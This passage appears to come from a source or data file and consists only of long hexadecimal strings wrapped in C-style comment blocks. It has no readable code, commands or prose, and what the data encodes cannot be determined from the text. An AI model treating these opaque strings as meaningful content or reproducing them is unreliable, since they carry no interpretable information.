f8d507ddcb71ba64ff8ff8cfbfde20c0bb2ec782d9ba92708f096589afdec12d5683fcf65500ef47b0d19a4d7e4e240ae6b823723010052c5d86332b617dd6c66ef6ad83016fd5722e3be525a99678f3e629e787eb0be7146ba2144c43e48829e29bc1e188d9b6e5a99062ab1de16c1e3441039d481a611dd8c461a87eba29bdedbc10748f91141ad0e01ab930641ea8fa842f09937e1ad080fac71ade260ef686bcdc1d9e18420b3a81f1619d33be92680f74f2ac38cb26333c9403d398a3b56da3df5fb33be59cb8649bbcc5d49594798a60395db3de46ab532db4031d4db8d09593263ceb9b2de96a16ef2eb69f16312aa9c6b486fe5e3ddb5e7a7e06bbd40bf7de7aff1c8f3d6da431d426f11633c90a75ccac58bd51e37237d0fb36e09ecede2dae64cd1e04609cf08c26508cd13f9f468eaca8534b4c7e44f8d45fec9f783e03a0bccbca5125f0db29ff03962114db5b78d51f0681d8b719ab1953499d9ee28d40f9be5697f0c8e3b761901ba8d6a89ea936c0d0003ffbc9edf0c3b55a1c722a34e5c2a6db753afca4d238f18c63f4e87687426f5951f51bf7e2bf852c2d71b867c1ed396542ee4c3d3b20b431840646b4142f252df996477df5ef10de6520969c810be779c4bc8b9cfadcea5752a956821afd219be469b67fea0eac17a442e2ef779d4e8d7a9dd174657c72ae7d3c842b7600af590e4b5a4a925a390ed467ca6fb7df94ccaedaf98f0504c67174b9eca03f021453edbfc5d698a7ef1515ce5f8fa0211633d38ae7995851fba040bcbaacbc11aa690ab9f93bb67eebc460077f2a5aa2e06d75eb501a77387c24120f97ce8c6ba75a891a2dd0ab1f6c97feed5a3881885a3a24876eaedd710a74713172693b5feb90db09330575ef08d602f46937167ba0a4a45782d9ecdf2c9089f9e741af72ca8f4af744c99e03e1af0742f3ab3868a12e789799f27fe8ef2b3216c00a0bad349fedfa42af9ced75f5527d97a63219193de93376c063668a0a787d81aff800a9585b2d218370233eca83f13ed62831aed5741d9bcd8e4b8cbef07e2bd91f727b013287af81c547919839ea0a59d1570f1aa3681ffd368172156fc7d894f6db25e4d35942befadfc672fabc240363e748019ab8ff7f9fe86436f6f6a9e22fc8024346c568732a33b6b66f321bad31300f6c6b6267a9957472d079b20fce6ef5b5bf50a7dadc7a7b65b957d427649b83ccd807a8b61558907c0e0656fcd0a87f82a4b6202b005f4ff98f3de1f2d77581a306983147b6d3a30e41a8cdec13c9afcd33eb374d5da78dda08f8f6bba782119b55ac297a024107a030b9038c07d6b6caca6fe34cbb5370e54e2b285230f2652e684678ab40d5100929a812f517ec6ef1cdcc89b18e016eead6f0de5d80ce15040c5cb6900f3c2cc27688f23829e258c13e845dc0521306a4245240f424a3c041fd1c164c7fa9fe8a7f75f37d6da417ccaf16f79fd35d3ac22ab3bc7a4380a90a3768ea1d402665147a7b31d29ee621661e1231c2c554eefeb6ca330bbba204fcc33fe6967d1a3369bfbb731e91dd6e5f7b695188470ac57a076d63c43c06f2d4bca8247d9bb907cd831a80f12784ac4e005fca9137fdd0ad7f6c736c1d6384d72d10fabe78f52a13e2e243b9ce2057c1567db7554bdaa0384d63e4a832d6b2c2ca122a1c2be316b0aa7578efbd5df9325e36aca7edc04ed3ec64c07b1534c1c0f8d765bde69943890c950fd3d48d093cbd9aeb12ebc344a3e73c82e1e09d6ac70cfb96ca24f3acffbe96463b9d77da75b957a704df7f5e3d859abe8ea9001f7ca54fe8626bf46afdfe4cf4d7028da828e87f1a3ba5381cc41b61a0c625e70dd4e54c6bdfc3626b105b79982e331082b20ede57d3535ac0b54e0ecedc0c0fca06b962779c03b02f7bcd4a32bff31a77487be6b1b2a807c536ac5b5625e431c42e82ba0be10a21adcc44a19d9556009948114cd1ae4a654082fb09e093e631b6996bf9768af13975c79657ae74e21d20d05979af1b7495dacfacff994bb9ce4ad24a4f2503c881633097167d11bd4bdab123d3e4d3427643fb590b9bc93a9fd430f6e989f893cf9be209f28e9776e401634178cae69d84f4769f6fa63f6202cddbd737032ae71f1ffd2d2b72d837dad6e1*/
/*5a2e3a0234014a20024f39f57b926d9b812fcef214ad91655d5d9f25ee5631e45650cc416d39feb9e3bc98a1e7fc9aece4f4f968aa3f7565e66a7cc0bca991b211adc281406cd7099ffe91c11d903c070c30500b61c300a12506d944e688fbbdf858a5127384c48b69d026a0070b22d2dcface9c2c818e2d2323da1969805bfe4734b184c4e9008c9124a8ab46325e65e1b49ddd42df0d16e473ddbb0d27c700549ac721d5d6c29de023501fb19085d0cf09172467db4ea8dc7aaff9d3477f6644bdad8cc2426e1028d75e6ca32f984a3c582f253d6dd5468569685f8676a913a5539fe57957ec0d23b8cbb5fa9a298a4b41e429da23efbb438dfd6030a880ee8bfd79e4a2cba6e632e400cbc066095638f49c929d418cd6915daf0f36d5f17415f1c7b9e09736508dd97417620b47bb9372f060ecba5c86fc907402b1ef4e2ec4bde8fa0509e6d5e813fa33307b7a32a4568f3180886e4f21dac0b2d37f5476c98a1153da7ea6086d7db6c62accbe1dbfe89be14126dc678d0a87cc3e42f684d8a8bd2a86210d4747f06eb1591c08eaf6c7d3b45ed82bd9c6632b77425c2f41cbaafff32e7a9bcda9d9c975f130a9c2a48fd3e4cc41a066f35fc38aac067faa9060ebc040535c0717c8f8ee99b1928eb2177cb6b039d6427044c75f1a775870462f9392243946115b01b2d883856319d4586fc488d2ea6e5ab320feeb6d0103c0384c02b9b04a910ff2aecc78cf87cff76e6bbe6049e354e1cf5b8494c08b864b47642fea964ad782103b021c5780b053f714c633361594a30efd44ea785843bb92e3f47b09ec94b0da15b9908dff9d78b987b47deff1a8385ce8907c2d3b763cfb2bdbb89134945987386ff1cbddd4cc19b957c88551466a44ca455257542d7eb1dec08cbffff1fa919ec4bfafec1694ae5783cdb3eaf9b1ae3fd167029c88b2b84d1f4eea0294985fe7ad37ec5364a13f549f22af34215fc36d31da62df161bbaa512d056f7d3b8670873f6f716cab9fbcb400f1c1989523621a51ffd331a2b5fa21dc7928d77f77342a294f43ba37bf99038932a6e7aa47d5d960cc73e7b2c49bd5c92ec98ec026ef3adf2a4aeb219ce2fa47f1524b7479e311ab1004278866af62e67a9ac01f9af377802a74c5c0ab9f1ad661706fcba167943ff067cf776258a0d06ebda19a42454b8cb62a0e307057e2022aafb85d22d7ae52f9ace1dbf3c0e194a534e871f7cb63c4afd70463a8e2948e9db64de8a67c9082fbac14325e858458eabc93f17f36787d7ad38cd0ccab81642686612ef2ae9a4f75e0d3ccf3d91794dab76b445b8276247c2467669d7abfb7da6c54df538f47ebb7f3868a6b515ecf1246f4fc56e96d8f200ef8142e3cdf0043929a11f0f92ca2192a92d8eb02a0f82b2d8615b978afc0ee469eff224cc9b5e123f16f66a9bffb0eb2578f43eb2ba5ce80a2a895e61a3d1af33bb2310b17e005f406702abf4e376a338ea1e3a25b164d88102f57b2e2317a8a9a502b83e6bd19c19eb26f8dbdff89d946440c4d311f58fcb4f27efcbf3d389f630fd56e282cdbb46ceb22db06ce0236bbf750f1c2a5bef170110c76ef044d1bbaed9d519377acaa668d722d393260f3e5772827c3cb38a53aeb03e433f41c86e9a2c8398f22b6c2ae41675633c10833b49fcff73c057e3dbed9b7fdc85d582a0b4414347f16da5beef9fc70ea5a1506611d2c7c65c914e3aa1768b19bbba8d6c387809c9791ba47c9e34328b20a881dd9d9754ab1993f94c9935989bc771093bb95303ddf4990eca2145d9f3149e5f2865293784c4711f995beb34cd8224f9e95926d21a09ac19f20abac21371e7797cbac902216f6c781c817a5fb7ef501d14d021fb199b3170cb81c749195996bd289a619bdcd1e2604e057a8bd41395f77ee1ae3728e22d6b98e8a5d797faf262e4ad9a6a5afa54a0dbdf19a75a8b462cdf84f04ab05a4dc2c2ae6d3be976374097c05da4b5f0200448d919c1301bad003f3766f0617db1164500d02dd30ab8e238d455ddec165b07dd6eca0e03eed3dd82149e8955e639695ac16a71950321acdd21346c04ff9b930ed3c777c5007be510b0117e7e3c41bb72bf3fd52cdb8cab54d15aa1a30b06b2e9485abd34f105fd672fa4a24692408996a3669871d96526d969a8c187b27e9acaa47925f6420c4c878444385e823bb367affe1e1b9812881cfffca7afec8571b8a853ed5dbd8114e5cc2c824c3aa438bc92c8b400bfa1c454be54d217bf058cecbaddeacc23794bf34a13cd9f85ca580d513529b44512717a29781875e0ddf43d25b138b3e736dff4913823b374f31ce44935c0c154ec8ba73073ab550282ec3395cc5c51d40bfade490f45fd8541df374b08c5befcfeccffae2c86c51e1ce5486ceb1235187f23dcb21025f984662f4715dc85f040171d4a466e4943416f99e323a0c8d4ea6028c564e60b45a48b3bc390e0d669856ae7b5d8effc84c7f7918ba14f8ce12992436229d467fbee0ed1423ee909be096c5f7f608cad69d5db14b8330fda83f72c3be1a80de01b7f5d7a36510ae5247ac8c875f94d0dd96ea8ad6d5034599ad3855dfe79d1d2dcfe5709c898583eef3198ee0966b940f74795c4ff72c4c2b56e42793cc8c632195fcbc83ffa3d6656bfaae0c0e208d4fc9a674ac2841a7c5d72de0d43c3589d6cff7ab57564caa9888fd57eed06999b1eb1394343fd030de34dc9620edb6ed87f9910cd9abd5d9cf7a9633ccb34d5cb550291506762b3cd5f199d049c135b54e9b718a52fccdba937d35156cfcca1cf6bd4a8cb3c0ad177ccaadc5d08c0*/
/*32b9afca7eabecc72f52fe4bc9cb853b266864aefd6b9d8b34534624c85012646842730704edbe5874d49dbac4f6cfdf85aa8bd214ef526fb71287c17211fd44b134dbadc464a5d962ca47ab94c410372f353a5aee8352f102941f328297907d6ad6546cef426c4ce2e1fe75a2cec66dbec80cbdc697295e2a3f45f1150ab27976d4773944076f8dbbd4afe0393543517a464965f7390f5a1c44692619f9f1bc562023ee680e962be960931006cdc9b599d58138f581807c2542feea93fd5cd6e457b226feceab9a3801c6b98b27bbb58c568192778b236bf10ca8c69f0d3111c7530853eaa340964f7029576175fe5a3525f8369819caf55d12f2134fcb24f3f4dace8cdc8c49356235ad88b28ad8c348216a1e20a89bfdac639c6815b4c58a1f209017a1a2a2f83103692c2ad7bd52c231bfa5c8552f22ccd39c81f55c500556d09820377bfbc920df8bfd460a5f675ad7758a6814a357498c53beaf454a239937f8b78b4ffaddbdfd47379e85469be771e7e77369ead89cc69fd0ba569d473652b4b6b86c71560bf5fb19651e89d1039579f30c77b0d91fc413ecd32b15b4ec7dfb29b3a3003fabefb548692aa27d6db9b1fe30900ed8ea5c4d38b425380602f6d3aa8fbd3dab96c9d0d1f52ca27b4123c91b1912a134764f80fcfa4a42811d796f5cf51e827632cbe4856cd656db40da8b6c3fa9679894047788b5665da2d49d02f51879a3685ace7d146f822155fe33977cf6f220176ad8de209034ffa4eba36d5f926ccf315dd37d27b6f2d9a06be3ae757fa0497965c3c87eeff2b627d1e495365d8b838a87517352769e760ce63faf4aae8105c69e3ac0a7a7fd0472612ed638512e2b1e46f3e43bce0dc9f44623a7f72507117e734fc8e48e5e9d655698059e22d6fefaeef3168515a2ae106dcc06d6ac90be7738844ab200a2dd3e133510bfcf8604df349fa3e24d5a98c2113bb305a051cfa4cd65fe538851e34556430e031e3002ce3c38340292148c2da962d0c23fad98144dc7c7c7a480f34a2836daf754bb178973c49b3f7f261d1320b62481335003c347c886ff40365e61d7f2a1564273b611f1ba8a935a43ee7d2856bf424a5096a0d11befcdaa7268d3ba72b6334f20ca4a6c58f424b32cbb44fba4b5e6b30a4c307997bdb6afee2bb1fcad248cb6013bb88d0b639ab9bdc24f114cbf18e1383848f87366dddead04b337842e1e9eae1cc3f5b9b5cc6ee9e9ddb0e3f6cab99f872396a1a2444059a7c636fde3d95ddfe6f9ffe1aa8540a5f70cdfd3b4348de9629ea78113e8bdeb59c97e9009de5a326db8290a17dfef39823337812a5247e382910ffdee4c5cfbd5e4dc7cfd44f9c1da8370961b5756c356c6d9c7e4a89c87a7b2b1e4767a59d94b53e9a58f217420d2c6c558137826d50018fa50c418e0e0b6554d2da588e7a1ee5ce73fc8a0b57ee2d9da7bfa4e86a3636714581f409309f9522c5c52e6b9d32a89541d136fe514cea7fd0925521e353376eaaf58e2f010c17633a9850e5e6822e4f8ed9ff858577af8d2df04946e8b180e44e73f24f3bbe95649e0742b063a6c216ced9a2ea1568c7e23c3a40f8a26e8927cfba8fceb7d5ad52b9f8224340d3c26eb1fcc8f4b491d3ac31e959e99d993c943ad780e8397ca21ba98544dee1f9223a22a922bdce658f6c0aa8f5eb88f668c2bdf6567b58fef24099ade43d4de838a29d6a88b948c1a62a9dce63ccf1f8bf7bc931f3a47f5468e417a2f6358a0d7d30fc321ce6f411164b3a07327acfd4d27568c5d2851a67ad7930598081270ea86bc10e0ffe6c53973d4d0295628b7702e8acb4fe7e3e10f31436c8360988a446285e14f98eca301ee3bde06fe3db90df1e4e12b3defbd6a46731c83123e302388eec87237eb1ce50b9b852942c577d1d99b79fa19e909e4a082880cb839badd57d783aa0d1f76bffaf396a168deb0387b356b811ba210e2580c2af3ac52d6f8f631a8947d70e64a99c45280c48649f7d5fea2a15868b438207de79fb52ecd697b116eb64d8a80b16c282b1c2846d67e6f7ea65dbfb5e5908fee572c8097f2886d3560d4f0dbae0b61706026c96223b635675ada79eb7714956a88344cb078525ec39357953c8882b9b8d4e6c97cdefde506734d21b595d320ba47f1c3bdd57ab39a8f9d336b854c3dd9980bb7d93807b8cfc10a7f08ed128f9ad52069fef16e3fd580ce6c6a025f79cc444a63d889442c96731b07bac200cef883c4f7a87e5bdd2bb56d98012bb28f2502d3a4a2dbb13680359cde58b07596018f1fb7dd547decb9f5c7cb8caa580c1e689d527678520fda44e3f6472ce89219222e43ab99cb0e44d6e0ef681e0a9a23918070b1f468112b180216d38b183dcfbe58e8902dd4a18f9bc1ec1880369d720fbed818e835394ae0e393bb589dab230a6ff9c7c65d8107f10fde40edc2fbe714c7b984526c87ef315194de369e85e87f448d5252724fc004dfb3d90fbdb14d19cf5ce9b35499630cad238acae385a414fdb593cda83268991e6ae57e96c592f3022e4f4c4e58cef744a7c5b168d5371315530100c96f7c447523648ae483eee91b33f4a6bdddf6d4fa1c22a2fe9da26801d3131052123ce572fbae81eab11880fca86e7f306e84fec84f347de92bf2b28ae459c26b8b0836338c0b5dd795285cce54c2382a9d65aa723d243cec0d1a4b9747c1fbc9855cc7a143e032960dce8be23d164887be09ca093e714157c4d0493ca7fcb6eb64b86f2d5cc31408e6c280e9db8dfaebe891fc22976113bd43b995559164b1071cb30868f54879cbe92a402ba2d6e6da7e*/
/*0c8471260a685959dab26d2b33d173bb0acb359db5cd412187414606089d7a07b6111a3fe1b07abb02b44091fe5cd0ac0e9d3d09a1dcb4b0739a3a145238b44b7f4297c82d6ce4be578d838ac7abc67fa5afb58de335d9558929e7405218fdfbc9ffc4b0960bc2469e964f8f59f1351d9a641a52794ca5b0d920a04b1c513ff15cc31586ac3bf9129d07afb7005dc6ac65549d77d8afe9cbe904280542b9ec2394675efd09d36199c2b98538e3e060243aaff7415441a8871bcfefa4fdf68bf695611ce181065d0881859a9d5a83201c17a2429475bec80dfe788972e0ed9f13c22199c0e7aa96ca7b6183a2e568806bd6f338481fef0d7513a1ee0dc341b59de34af38dd3a0c45013be957f2e2d8702a0a8a6ddd057630359eeb3d5398c70a50e0fb0abb3332f5aaae1b9cd1d0d189279050bb80186807d252ffd492b76ad6e802ab43af137c14db894ea7e9ce25dc489876b7c67ba3f853086ce29984bf2c8977756699f82842d06e10b1db50634eb9d6958d34b67efa1df648e28b494c8442075f23011a0a4761ece7dfde0dd9bc2dfbfcee10ac58470cbac2c51e5bb7f5e0b2492bd2631901df6181a233542c7fceae1f20571c52f478d6b806073c48553da762771d18b6c05582a20ebffb77c35ea3944c5984d45f2e2ac3b8aac20b17dcdd01e2a5faebb8712fe7d059461d2ad24d07fb6af9a83b653e06206c46a026feb39921e0325dee7db2e2478a5fa6c1084f7e89e63d77c2f189e0b740f84f5753a93caec759572815510f73b4deaa71e82c5f3ff1eeff5945d869a045bdcfd370dc2289a495f9173ee22372caccbf82da5e9d3337e1d1080bfbe91748b9cbca06ed2bd4906d4505c8e728605ed9c34130745b46a9b971d61eb533ac5b0f67d450a68ff9357f3d142d105a009fc61854229ede5e076e603ab4044c7d3a1a2467d7e1847dd6c33648f8b6c4a6b96b68bf78fda4916c950354ba115c40b2f98aeead127188e8e6d8e45170b840703dbce3ccbcfdb18515ffd21f87f76d25f107a8da031925a5590aa268fd0f471ceae1c400fbd129782cb6432b7d50c84ec534f669463a119185a6325ec64a94218df1102e32c729b5c4b913c387d56e814b7bec97e4c63e12fbca5fbd46886ec502fa48d376adb04423dccc40f1d55067f74fbb7a9f06646e3478927b258b1dff18758d4b731f5d8ef4456b16f58775a29b5bb6d3d984dabc69ce18927567f9b958700a5cf2f105a821172616ee9302e43b7e7d9c9a0cb7d01aa02deb1c04f83180de8f1daef58b8f275115f625ca5053a886a2be5bcd1a45f063957342a6fa602e53b1aef7002253a1203db15de309084a2abc99799eac70c8fcb301762ade54fafb0f6a88b61874ea07b5e089b53e1915699916ff4d09fc6d6adf68f9a773821ddcd627a18fb8d942b1db47244afde40a7a6348093f03537709acf43b3b08e961593c6fb91eac6e80616bfd205c83b7ef2b3320c776f1b7bdcf02caa0351e9c886d5d11ba5008ff425fdc5e6895e7dbef0190dcf8a52773b5e461aeb32094ddbd1c572d90d2ee556984c395f3751e3bb4d33a784261c0fffa2662cf2a883198423c504152e6278386db46912688fcd793865b24c8884f832ac075d67d36c4881bf1ee85fcc13708f2e53e3f25ac3234ce8fd4321f9972c6c7eba8d4b99c14b6a164ded3102d3303d17b7e910f18348465e7b09f729301fbaf62553fb6cbea412399e28a15b4474b2a410c8f5e056952bdc6685214228759d438c746c84028f25edd1e667dcc0236206ebd9e673c084e4a1aec8f87b54cb0bf82991ff5c86b957d1ab3ee3c8f62b2a7bb00cdc7d14d47444de1aa6a4e8ee3b83bbe507a883c588eb39a81a9437610df4804fd28f09291abd2436c8d399724bdf7f3798b23bae023ab2791162201c607c1dd29a38a4f0a6177e37476a259dc4b3826e9208a40bc01553729e6ca0567a7dd75835b3a6c2f9e58782f719163f40d5201c42120350d089154bd7a275fbcf70962415b6d560741f871e1aa24d3bbc0200b985f9abd76c1f489ad8c7f74cfb5517f8f0192a0629ba1714d62c93b39002ac96aa23365cea2978a9ba92092d46c3943cca4c55cb884b23445b40fdb9a6be647bd7541ea5fdfff19ec23ec1d743bf24a017f2e9616982a99e8e7f689feb97048ce9b11ee941f6b8a54913487d2cd545d0e24ad0767d9d965d7cc3cccee790b1cc40bc35bdf5b13344c0ffac096790b53943ef8976fe3bba7eee560d01966aacd82879b5f3c37f970e275dc10fa663504ed887bb44c4595782cca32f7051fe94f91ea000054a660ed6bef5a872573aa2d462792e9cc6c68ba5929191deb2afee8b957727b13848ba7ed3c58e46e0eb1309b0b985864bf01e1cdc72af26c14b0deae7d4f494facbcd61435a664270d1ed7996a946c3722da8bbe23f81535abfabd2ce016936aabba344742295b276712584ea5f7ae055aee45c87fdd315b74a02c7f1e3c2d2f9aee10273919d4df4e40008fb99b8c146f4203d39aeadb42182328a1a7a87ea5ddcc9d2f4cead74663d81d8e449044f7247b5c742f4827347603add16a4c18a4c617ef8151b1901c6cd4b6451d00bbb66bb9e85175e499797810711792614555904282ff2410c0045aa877383822082c9119fb21e52883be890fa676e4365819b865f2b06a47b508383da485eaa234834bd4c94ffae9e05ae044f2e15a59b431724c99111bc61251abc161df01a8c6db611f58bf8f1752c6afd150d3499400d923899b3b5e8807750b4b89bb8def20228c4286ee1deb614aad7d49ed1bba0d5e72e87f0*/
/*33bad56c20f963186290bebb0f2417a59daf91bbefb8542a211b0a37a0a5c9879dbfd9eb67e0520a3a7e094fbb80de2f44d2ec796961a63037d9cf7dd8a7ab9d9cd778be88aebeb664049a3f2e76d940463393a297164e8c27a3d1dd79378e2a43726d700d91f939d6d4202d35a93fe1ddc8b7591fdc03563c4ae82523184d44ed7ddd631d60d52816bdff678fcd53d099ff2983c89ba05ebcb0a12bb720ad090c8f926a55e79cca0d39c6e1e8404e72f0c68cb74a694fb46d3aa67c8aa59b4f36868cbd25233e19a71f511d4e7a9c78ccc676492dbd48222f7bf0d20101dbf188bfb3f8ffcd100c72a6dccaf89b90b115f33f503428d80dcc25dcfd09a9088acf1abadc2cb5f7ba9bdd9a64715ab512109e199f5acf82f344d682a13f3729457ef4acb6560e848782bc7693d3d4c292fc1db5dd185409392343f8649503b50837c46c3108f8852c87cd348cab1cf776d9fa804db1d7b5fbdb926e4968b4859c98ff9124ddc5713c40c6b8d83d61eeff20e866a960c71a423e3bdf00f9ed58dcbfcb9685e1ea5fe0115c4fc07f76829494d4c9dc90e0c0ae8f6cbfc676c11c7ad962893c444348beeac1e23c06f9b43a11a037fe19965068dc9593e0b964f1d9f9ff9f2faf3cd89b9b54f6c6eaadebb0a99935d02abbacec3c5e3e688ec8f853abb53e6946c889313b50e761115473f45b05981a4061296c790931191255ca06c68fd5f05175dce433a5f91dd516d4cbc8d8d366b07a0899ba66d89512d4b7fdb15832845652dac4f471e91eba185e9267e210b43d1c7c8c1e2ab35ac68be4c5d333546fb04e2342397e27562223b348fd36d91c13f3f1fd781c13d339695963b2a6ae2f2d07829a8860c167bbabc302ac04f01dbaeae732d2a79e34553e6ecc8fb4a6f4dc6d17e275ea839d2124199a6806f1b9aa35cec4a30d4df2f3369e82ee65cc663e98c24b4efc90529fc805290b4b09ee9db9f889e2827e3cd7b137917051214c59d8d01f278347ea63f059bd6e6a82f78a551180b425d22f800b19ae1c85476fb8f68695a03e621c94a590b1bda732cbd43a8b487496377726cfbaa5d409be0ad80789ea55ff40c364f7c53e5858951272737132e0cd544eb8bdd87b1c880c5a6d6cbc619f7520d92f629bbb46b21514409633109acaedd5f79e38a92c72fb02b4d2a57c20bf1adfc79758a4db17e704d76e36e5d686f3215f59638a3baf2c1e6785bd111919bc14767bcc6d4084d5c98596bbc017eb9db8fbc91d01569ac83afb4d963b112fb58e0cf4e826d9d70e6577f3195afcc2e025f2ae0e017aa944bed34a28a0cfd83e584d01e6b3a8d2deb760bd8860b73462302503f154c8421ac28d2665bd749bbfd7a55ed8acf965b9bd576fa99052390c325cc7598374eedc85abe7034cc17a0a43d70b2ed1bc92074ad0b6f38bf61787a1a17fc6abca71fdaf1379eef30a02365ea2db3699325506978e2de59ba0dbdda687b0977eff000c3d4a83f9ff4bf4198589789f801cdb4af4acd575facdb4e4d76011e1e21e0628d1ad7f4d5c7d3dc75bd8920f4b0734589c39ec715b98402de6eae0ba60a05b4d336c5bc04f5d01528e2c393e2d2ebb23b952f2a2e6972c6dca3e4c885ae59e6332e7e40aa3f8f921ce5084ab577bd9d956c4bc7f3a5b14534ec3a3d639fd72cc38c98c2a6ddf73954c1663087d77326b36741d1c38810bb0c26f8202a1b560aaba3e1128db0a74af3ac5635c48e287e66c545e5a8cbe04dae99921e59cdbc9b6ec95befe30586310e600c3a9e71b7e4aa73158604a8498d0129dea4839277d80955d2392d52f266e283af39a1d8d90eea73fd741e4d22c19bcd56193314c5137d64f8a7117b58bd3614d9b2b8181ea8cfd208fc38c14f593fbe8046caec32c350733a380bbf293cda746ccb4f2b0782ed15cfc25d3f690ac7f8b75bbff9b40bcbe3cca1666625cc195d54b630959905697de4c0ac16be7f97a32007e49e368f89df27bc69f0b86ce447c2bb85ca01b86a071ea5e97ff9748df23280aff4e4bf4ed4d02adad2d218e915b16366e96298e5b79d03dece96d96a5a7683da7f004b57d0f0e562d83b46f87cfd2326af139466deb8df41dd0abd9bd0c3757375547a314ee17831accd92fba2c0906ae2c5353ea8a9f77e2719ed4a1884e226902c5a89af2b066412411a3fbe91d4812c3879db2bc43ea07534f079b7b1e4db7d386362fbebf7ba03c5f38b7f0fefa7dc002f77dbf27782648c62e74b45a3a48559183f3b3df07634dcc0328369c42fac795a691487726c1479e1833b23785f4e520217a94a3102252f6ead475f8ccf1b0231c5051f6fe08795e3d78ec59f06bc82a5533a675b3b4241c08cea330348942cbe31cdfea6a6f3430cef2a5d2e51e136167e1cfb268f7e4fd9cf9b0a1643454ea9e8ea579cad9bdb48f1bf056517d06f700a6f2979e408b28e7ff40c880552963e260814fcb9ca2a6cd1fbc292c360df3c3efa60df3b5b9fb0261645612c67fab89fb530cd80486444d1f649722ab94a2451785724789144c689750e09e5284229150ee94144a46b3b0612e8e428a575e97a578cfc7f3dcc870ea68ee145c8b31b18c55600ffba97c7c26e01c597f0895d196c31407a0e67bb6dfa30120bf9a50357270a0645180d556d3e8e7f92a152aa5cdc9f739e1a80b2af0202d361f9a4e21efb60a58777ea08f76dc444510e560b043ccce7a2e28ddf2740e31bed0c9ef47dae31457c2fae82f577cf9b83337ef480a0461727b6bb51416707657337dd8735ec2c9790cc51f986bdd3b33f44c81783f70d1bce853efb7e8f91d6e7f*/
/*fd5b5d2ce9862fe68bfc1a19457517e05dde2eaa9e9e5feca840896e3f4a50ddcf22c83a0856d0cfcd0a426e4c68f7c936613bed158228aea4926c58c0566c69662551469bb875e82b4a457722455560e2bcac1cb450abe033996da01259ac0c57a062ef48060c2e5db436954713656fc30104fc34ac7137867bb3e264928904fd0d4c2fce929bd500feab301f920aed9be44ae28e2727c67b97bb87dc96737e0da33ed9e50514f905b7bc8a408b0249c60663eee5f402a299da248734d92ee7ba6c1b76aedea3c17438a9aa90ae99b8639a7725ea65c2c705c7f280f390abf26087e99a1c9127519564cdc17257e42cc52f062d7e82e2af36e927e77e25e1556f9558ba1b7e7661d5ebe31eb968c5984654101956902f6b2a391523941843f9d236ea6a7e7b339aede5c5eeff39d0e0a044634e8dcbd9ed6f905e88764d3370e66290d716537681080fd6d8cb80a0cbd5d0f0430972fa3593e610059e7a4285b64458524f0ad1a027d48bf7d4103a78b423da40b0d021785cac43d8ba4ff6d59d2c93ea0871efef972da1289984cac0f0de35d23c6633c7790ab4cc7def4bcdc4e06ea47e2955bb84b7547fa80ac245bae4b1c4aa1326339246779b31159803a387b6761683284e755f41f1f4417965c8f45d5a22acd37e3c0bae98b98bf1be647f8916967933efc03790b6ffa5f71c7622fc008701527521daa7878ab1e6346c07c797efe99820bffa36ee393121891097d3ac73084199c70c9af93f1707bd847b96690f6f81b990382c94e2cf117e4d429b23c526b891f9a0993a349af8145f5d250856b2ce585adad4da3ae64957fff092eba646f6fd2e985d85eef1da71d750b58dbc406ba15e5ddf91f09388a4133c957b721126b74e0f745ab37ed9ebf12f902d1151a21ba5ad83555b03b537327f073b5d5e3e1b69ac3ba668c47ebcfa97e0147a47e2511bf9c57872445720854d350e0212e663e013da2aaca25caa7754a9514e10aa3bc948e0f66fb66cf29d594bbc4df9a911df90f58de04e922a0ebad5cec75515e672535ff262cc393ef6f97cc3377e049afcbfeddbd27a6f52685a123eaf01f315cc60be078004786be7b0e0323df9d4726ad0352164b71d168ee624a5aca0d0d09b42f43dcfc7cdbec86fe8061977e8e69411da54134b4f1c0c1c9853be06f8141cc3eb8b1b68b5c13653b6c9799a41e41271672dc2ded202a83700db9dd28e359e1d35b8735837cc4df043e7b26187b4cb0f27d34d14fcc5484b4b20193e9489d31ced4ebc59f787ba2c7267571616e7dc4f4ef78510b5b49de0c1a3e36febe5611141d7b60adcc4345800755f6fb580700b582c25db3f25c8931937b9a69679349c1fe59496798a63694cc4e95da91648fcc77a499754cddb433392f37767d999bd1ca214683bdc3917091b4bef2ca0682d06f65f5eb61e8e707e29acef0862517efb98ffd71ae9b50b352b70c6689acb20c882c313a86e76189b2f1b774435005aa731cdd6317a75ea5dcc85bba37e9683cb0ea0efd7f6c6972e9be5e320494768ac7eb08d595132d8eec06f3616e139a11532ca1eb6eb4b6169306f861fef9eb869c421651d7533a758a0163c8290ad864ab82866b44348f5961e84fdfdfca23c5aeb3304ee8090e7565bb0136286963d7743671455d8d4890ef18502b26a2b4d0ddffaaa67b7781ff4c490ac4f06c3806fcc50941eada60bb5173b6b32198799472e698217bbdc528720a54971ee69a3ad3a529f2535179592206c99f8b23bb67d812ed0ee03fb431a1b57647fd1feb8a9d9d9bad4546e46659a37838356c911af696e691f7c5097b787d8cb7bd55e4127ddd224c569f70a6186a1aeae0264892d8cb23064f46c55ca18b40f6ce313aea0656c04adcf931f6eaff52d8455731d0dfb05c6f55824a3e572dff0cf2bcef6ec80e475632aaba5f063ef772970994d3b4d99fcafcd2043e4b76b7ef1536b5c45510581aafa6de658bf7b7280436b0f79132b2b17b184a07a58dcd6dc68c83463d07832c2129cb1f94bcdb5c227cf84eeaab01238027ea8fa8b682f20aa3149bb4616aba193651ed91d70e0627135a9ccd67782591fd696241440039957abf913e40549f0a04249f11449d6a5d1b5d4f286b8fbccb5e5db701f5b7531bbfa8ffe8444b5aa65993376c1e34ef45c4187ad2849408b08d6d7413a015b63d447e285a14b4e0de623c8c9d3f779e706c8ddacafe952becef0559ad9de23108d97952fa580425d7d14c3308343319a3dca748f8cb8ed492f345ebb81fc17c0ee320c41a383eb5ce2ce4841c11f76d8708d3da4181cb20c081f9efa68f9dcb66e3e81d710ee493eecdc51fa85ae003c233bb6639e54758ac5acc0b32357b417357c47472e49b84d833e590d93cc669bcf6119d691465f9bd3216e58c5fa8b5866cefa81098f1a56d1d9eaf1aa59d83a04cad1ed8afcd938b33e120e3136bb976f70b3f96b305a03e2bde51fbbce2b4e6765c4ed1896530006fe6349cb37c80a29fbd8a8d9845d0816e0f0fbb5d75d6c78116c8aabc1d4261ebc5e2f46a222257a5f1f6becd5db6507ce001a767a970f64b80dfc91d0dda9c81c1497234bffd4197e88e8395898563e47c12d5ec0077f2dd17da5e3ca9fbbdac4d8376844980bb1cf2a6f8802049a4f911305a4a226f8bb9d36d1f32d87153410ff7b348609350d7e314dda7ceff9dd8de4b7646d140a1c27de73c44f99c8afddedbca3ae49694791d1c009f3073dc18c4cdb966de9fdf630fe973da7242a4b3f3271274330a83f75775b716abbb713f4ee6960693eeb547c0c56c0f920cebf*/
